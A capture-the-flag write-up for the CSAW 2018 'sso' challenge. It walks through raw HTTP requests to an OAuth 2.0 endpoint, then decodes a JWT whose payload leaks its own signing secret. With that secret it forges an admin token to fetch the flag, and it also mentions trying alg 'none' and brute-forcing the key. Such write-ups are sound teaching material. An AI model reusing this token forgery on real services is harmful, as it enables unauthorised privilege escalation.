Tags: jwt web oauth2.0 

Rating:

# ▼▼▼sso(Web:100、210/1448=14.5%)▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

```
Don't you love undocumented APIs

Be the admin you were always meant to be

http://web.chal.csaw.io:9000

Update chal description at: 4:38 to include solve details
```

---

```
GET / HTTP/1.1
Host: web.chal.csaw.io:9000
```

```
<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
.

```

・I guess that `/protected` is a resource (flag)

・Since there is no other function, it seems to be enough to infer the parameter according to OAuth 2.0(RFC6749) and create a request

 **※RFC6749(English) ⇒ https://tools.ietf.org/html/rfc6749**

 **※RFC6749(Japanese) ⇒ http://openid-foundation-japan.github.io/rfc6749.ja.html**

---

## 【Identification of grant type】

```
POST /oauth2/authorize HTTP/1.1
Host: web.chal.csaw.io:9000
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

response_type=code'
```

```
response_type not code
```

I found it to be an `authorization code grant` !!!

---

## 【Create an `authorization request` and Send it】

Since I do not know `client_id`, I try to send it without giving it

**※RFC6749(English) ⇒ https://tools.ietf.org/html/rfc6749#section-4.1.1**

**※RFC6749(Japanese) ⇒ https://openid-foundation-japan.github.io/rfc6749.ja.html#code-authz-req**

```
POST /oauth2/authorize HTTP/1.1
Host: web.chal.csaw.io:9000
Content-Type: application/x-www-form-urlencoded
Content-Length: 81

grant_type=authorization_code&response_type=code&redirect_uri=http://example.com/
```

```
HTTP/1.1 302 Found
Location: http://example.com/?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM3MDE2NTE4LCJleHAiOjE1MzcwMTcxMTh9.FjAJ1NZQLfXxRW-2_VfSEXgNxMZrRcX8d7DES5_X3jI&state=
Content-Type: text/html; charset=utf-8
Content-Length: 457
Date: Sat, 15 Sep 2018 13:01:58 GMT
Connection: keep-alive

Redirecting to http://example.com/?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM3MDE2NTE4LCJleHAiOjE1MzcwMTcxMTh9.FjAJ1NZQLfXxRW-2_VfSEXgNxMZrRcX8d7DES5_X3jI&state=.
```

get a code=`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM3MDE2NTE4LCJleHAiOjE1MzcwMTcxMTh9.FjAJ1NZQLfXxRW-2_VfSEXgNxMZrRcX8d7DES5_X3jI`

---

## 【Create an `access token request` and Send it】

**※RFC6749(English) ⇒ https://tools.ietf.org/html/rfc6749#section-4.1.3**

**※RFC6749(Japanese) ⇒ https://openid-foundation-japan.github.io/rfc6749.ja.html#token-req**

```
POST /oauth2/token HTTP/1.1
Host: web.chal.csaw.io:9000
Content-Type: application/x-www-form-urlencoded
Content-Length: 252

grant_type=authorization_code&code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM3MDE2NTE4LCJleHAiOjE1MzcwMTcxMTh9.FjAJ1NZQLfXxRW-2_VfSEXgNxMZrRcX8d7DES5_X3jI&state=&redirect_uri=http://example.com/
```

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 209
Date: Sat, 15 Sep 2018 13:03:38 GMT
Connection: keep-alive

{"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzAxNjYxOCwiZXhwIjoxNTM3MDE3MjE4fQ.iQ3yQU7ocIPMPaZEGiCL_fqzxW-tqV4ywt0LvPiSJrU"}
```

get Bearer token= `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzAxNjYxOCwiZXhwIjoxNTM3MDE3MjE4fQ.iQ3yQU7ocIPMPaZEGiCL_fqzxW-tqV4ywt0LvPiSJrU`

---

## 【Create an `request for getting resource ` and Send it】

The method of giving the `Bearer token` to the request is described in RFC 6750

**※RFC6750(English) ⇒ https://tools.ietf.org/html/rfc6750#section-2.1**

**※RFC6750(Japanese) ⇒ http://openid-foundation-japan.github.io/rfc6750.ja.html#authz-header**

```
GET /protected HTTP/1.1
Host: web.chal.csaw.io:9000
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzAxNjYxOCwiZXhwIjoxNTM3MDE3MjE4fQ.iQ3yQU7ocIPMPaZEGiCL_fqzxW-tqV4ywt0LvPiSJrU
Content-Length: 0
```

```
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
Content-Length: 12
Date: Sat, 15 Sep 2018 14:13:07 GMT
Connection: keep-alive

Unauthorized
```

---

## 【Tampering with JWT】

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzAxNjYxOCwiZXhwIjoxNTM3MDE3MjE4fQ.iQ3yQU7ocIPMPaZEGiCL_fqzxW-tqV4ywt0LvPiSJrU

↓decode by base64

`{"alg":"HS256","typ":"JWT"}.{"type":"user","secret":"ufoundme!","iat":1537016618,"exp":1537017218}`

---

`Be the admin you were always meant to be` in Questionnaire!!

"type":"user" ⇒ "type":" `admin`"

---

### 【Try and error】

#### Try:1

"alg":" `none`" was impossible

---

#### Try:2

Even if the **secret key** was specified by **brute force** and tampered with, the request did not go through...

Also, each time the secret key was different.

---

#### Try:3

Finally, the `secret` parameter was the **secret key**

---

### 【exploit】

```
{"alg": "HS256","typ":"JWT"}
{"type":"admin", "secret": "ufoundme!","iat":1537060581,"exp": 1537061181}
secret=ufoundme!
```

↓ https://jwt.io/

![](http://raw.githubusercontent.com/kazkiti/CTF-image/master/CSAW2018_sso1.png)

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzcwNjA1ODEsImV4cCI6MTUzNzA2MTE4MX0.Mtr677q72X5lSmSSVGt4RnWtIr7MCAKgc4b-SjqFqhA
```

```
GET /protected HTTP/1.1
Host: web.chal.csaw.io:9000
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzcwNjA1ODEsImV4cCI6MTUzNzA2MTE4MX0.Mtr677q72X5lSmSSVGt4RnWtIr7MCAKgc4b-SjqFqhA
Content-Length: 0
```

`flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}`